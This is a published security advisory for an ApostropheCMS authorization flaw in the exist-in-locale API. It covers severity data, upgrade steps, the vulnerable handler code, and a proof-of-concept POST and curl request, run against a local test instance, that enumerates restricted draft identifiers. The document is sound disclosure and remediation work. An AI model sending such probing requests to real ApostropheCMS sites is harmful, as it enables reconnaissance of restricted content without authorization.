CVE-2026-113660: ApostropheCMS Authenticated Object-Level Authorization Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-vmxh-77cw-65j7
CVSS 4.3
CWE-862
Published
Advisory Summary

CVE-2026-113660 is a MODERATE (CVSS 4.3) authenticated object-level authorization bypass vulnerability (CWE-862: Missing Authorization) affecting ApostropheCMS libraries in the npm ecosystem. The issue involves authenticated object-level authorization bypass in exist-in-locale reveals restricted localized draft identifiers. Remediation is available by upgrading affected packages to version 4.33.0.

CVE-2026-113660 at a Glance

CVE Identifier CVE-2026-113660
GHSA Identifier GHSA-vmxh-77cw-65j7
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-862: Missing Authorization
Affected Product ApostropheCMS
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-113660

To remediate this vulnerability, upgrade all affected ApostropheCMS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

apostrophe fixed: 4.33.0
npm install apostrophe@4.33.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls apostrophe

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-113660, inspect your project dependencies using npm:

npm ls apostrophe

Analyze the terminal output to locate any version of ApostropheCMS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.33.0), your application is affected.

Note: The npm ls apostrophe command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In ApostropheCMS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Summary** ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records. **Details** Exact vulnerable source path: ` packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529` Exact API route:` POST /api/v1/@apostrophecms/i18n/exist-in-locale` The handler verifies only that the requester is authenticated: ``` if (!req.user) { throw self.apos.error('notfound'); } ``` It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode: ``` const found = await self.apos.doc.db.find({ aposLocale: `${locale}:${mode}`, aposDocId: { $in: ids.map(self.apos.doc.toAposDocId) } }).project({ _id: 1, aposDocId: 1 }).toArray(); ``` This query does not apply: .permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization The endpoint accepts multiple IDs, making bulk probing possible. **Proof of Concept** The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID: ``` wv2l4rbaplgzkg80zkne4aoz:en:draft wv2l4rbaplgzkg80zkne4aoz:fr:draft ``` All credentials and cookies are intentionally redacted below. ``` POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-guest-session> Content-Type: application/json Accept: application/json { "ids": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft", "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft" ], "locale": "fr", "mode": "draft" } ``` **Equivalent command** ``` curl -i -sS -X POST \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \ -b /path/to/redacted-guest-cookie-jar.txt \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ --data-raw '{ "ids": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft", "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft" ], "locale": "fr", "mode": "draft" }' ``` **Observed response** ``` HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 ``` ``` { "originalLocaleIds": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft" ], "newLocaleIds": [ "wv2l4rbaplgzkg80zkne4aoz:fr:draft" ], "aposDocIds": [ "wv2l4rbaplgzkg80zkne4aoz" ] } ``` The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle. **Authorization control** Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested: ``` GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-guest-session> Accept: application/json ``` **Observed response:** ``` HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 ``` ``` { "name": "forbidden", "data": {}, "message": "forbidden" } ``` This demonstrates the authorization boundary clearly: | Request | Result | | ----------------------------------------------- | ----------------------------------- | | Normal page API for the restricted draft | `403 Forbidden` | | `exist-in-locale` for the same restricted draft | `200 OK` with localized document ID | | `exist-in-locale` for a nonexistent ID | `200 OK` with empty arrays | **Additional impact validation** The behavior was also tested across multiple locale and mode combinations: | Query | Result | | ----------------------------- | ---------------------------------------------------------- | | `locale=fr`, `mode=draft` | Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft` | | `locale=fr`, `mode=published` | Returned empty arrays because no published fixture existed | | `locale=de`, `mode=draft` | Returned empty arrays because no German fixture existed | | Two IDs in one request | Existing ID returned; nonexistent ID omitted | This confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration. Impact A low-privilege authenticated user can: Probe arbitrary known or guessed document base IDs. Determine whether restricted documents have localized versions. Determine whether unpublished draft versions exist. Identify which locales contain matching records. Obtain exact localized document identifiers. Submit multiple IDs in one request for bulk reconnaissance. The issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata. Recommended remediation Before executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check. The endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria. [[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529) [[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)

CVE-2026-113660 Affected ApostropheCMS Versions

1 component(s)
Fixed Versions:
4.33.0
Product / Package Ecosystem Affected Versions Fixed Version
apostrophe
npm
< 4.33.0
4.33.0

References

Frequently Asked Questions

What is CVE-2026-113660?
CVE-2026-113660 is a security vulnerability in ApostropheCMS involving Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers under CWE-862: Missing Authorization.
Which ApostropheCMS versions are affected?
Affected versions include releases prior to 4.33.0 across affected packages: apostrophe.
What version fixes CVE-2026-113660?
Upgrading to 4.33.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is apostrophe affected?
Yes, apostrophe is affected in releases prior to 4.33.0. Upgrade your dependency to 4.33.0 or later.
What is the CVSS score of CVE-2026-113660?
CVE-2026-113660 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-113660?
CVE-2026-113660 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check npm dependencies for CVE-2026-113660?
Run the dependency tree command: 'npm ls apostrophe'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vmxh-77cw-65j7",
  "modified" : "2026-10-20T18:19:34Z",
  "published" : "2026-10-20T18:19:34Z",
  "aliases" : [ "CVE-2026-113660" ],
  "summary" : "ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers",
  "details" : "**Summary**\nApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.\n\nThe issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.\n\n**Details**\nExact vulnerable source path: ` packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529`\nExact API route:` POST /api/v1/@apostrophecms/i18n/exist-in-locale`\nThe handler verifies only that the requester is authenticated:\n\n```\nif (!req.user) {\n  throw self.apos.error('notfound');\n}\n```\nIt then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:\n\n```\nconst found = await self.apos.doc.db.find({\n  aposLocale: `${locale}:${mode}`,\n  aposDocId: {\n    $in: ids.map(self.apos.doc.toAposDocId)\n  }\n}).project({\n  _id: 1,\n  aposDocId: 1\n}).toArray();\n```\nThis query does not apply:\n\n.permission('view')\n.permission('edit')\napos.permission.criteria(req, 'view')\nobject-level document authorization\nlocale-specific authorization\n\nThe endpoint accepts multiple IDs, making bulk probing possible.\n\n**Proof of Concept**\n\nThe local application was running at: http://127.0.0.1:3000\nThe test account had the low-privilege role: guest\nThe local database contained synthetic records for the restricted document base ID:\n```\nwv2l4rbaplgzkg80zkne4aoz:en:draft\nwv2l4rbaplgzkg80zkne4aoz:fr:draft\n```\nAll credentials and cookies are intentionally redacted below.\n\n```\nPOST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: <redacted-authenticated-guest-session>\nContent-Type: application/json\nAccept: application/json\n\n{\n  \"ids\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n    \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n  ],\n  \"locale\": \"fr\",\n  \"mode\": \"draft\"\n}\n```\n**Equivalent command**\n```\ncurl -i -sS -X POST \\\n  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \\\n  -b /path/to/redacted-guest-cookie-jar.txt \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json' \\\n  --data-raw '{\n    \"ids\": [\n      \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n      \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n    ],\n    \"locale\": \"fr\",\n    \"mode\": \"draft\"\n  }'\n```\n**Observed response**\n```\nHTTP/1.1 200 OK\nX-Powered-By: Express\nContent-Type: application/json; charset=utf-8\n```\n\n```\n{\n  \"originalLocaleIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:en:draft\"\n  ],\n  \"newLocaleIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz:fr:draft\"\n  ],\n  \"aposDocIds\": [\n    \"wv2l4rbaplgzkg80zkne4aoz\"\n  ]\n}\n```\nThe nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.\n\n**Authorization control**\nUsing the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:\n\n```\nGET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: <redacted-authenticated-guest-session>\nAccept: application/json\n\n```\n\n**Observed response:**\n```\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n```\n```\n{\n  \"name\": \"forbidden\",\n  \"data\": {},\n  \"message\": \"forbidden\"\n}\n\n```\nThis demonstrates the authorization boundary clearly:\n\n| Request                                         | Result                              |\n| ----------------------------------------------- | ----------------------------------- |\n| Normal page API for the restricted draft        | `403 Forbidden`                     |\n| `exist-in-locale` for the same restricted draft | `200 OK` with localized document ID |\n| `exist-in-locale` for a nonexistent ID          | `200 OK` with empty arrays          |\n\n**Additional impact validation**\n\nThe behavior was also tested across multiple locale and mode combinations:\n\n| Query                         | Result                                                     |\n| ----------------------------- | ---------------------------------------------------------- |\n| `locale=fr`, `mode=draft`     | Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft`               |\n| `locale=fr`, `mode=published` | Returned empty arrays because no published fixture existed |\n| `locale=de`, `mode=draft`     | Returned empty arrays because no German fixture existed    |\n| Two IDs in one request        | Existing ID returned; nonexistent ID omitted               |\n\nThis confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.\n\nImpact\nA low-privilege authenticated user can:\nProbe arbitrary known or guessed document base IDs.\nDetermine whether restricted documents have localized versions.\nDetermine whether unpublished draft versions exist.\nIdentify which locales contain matching records.\nObtain exact localized document identifiers.\nSubmit multiple IDs in one request for bulk reconnaissance.\nThe issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.\n\nRecommended remediation\nBefore executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check.\nThe endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.\n\n[[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529)\n\n[[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "apostrophe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.33.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-20T18:19:34Z",
    "nvd_published_at" : null
  }
}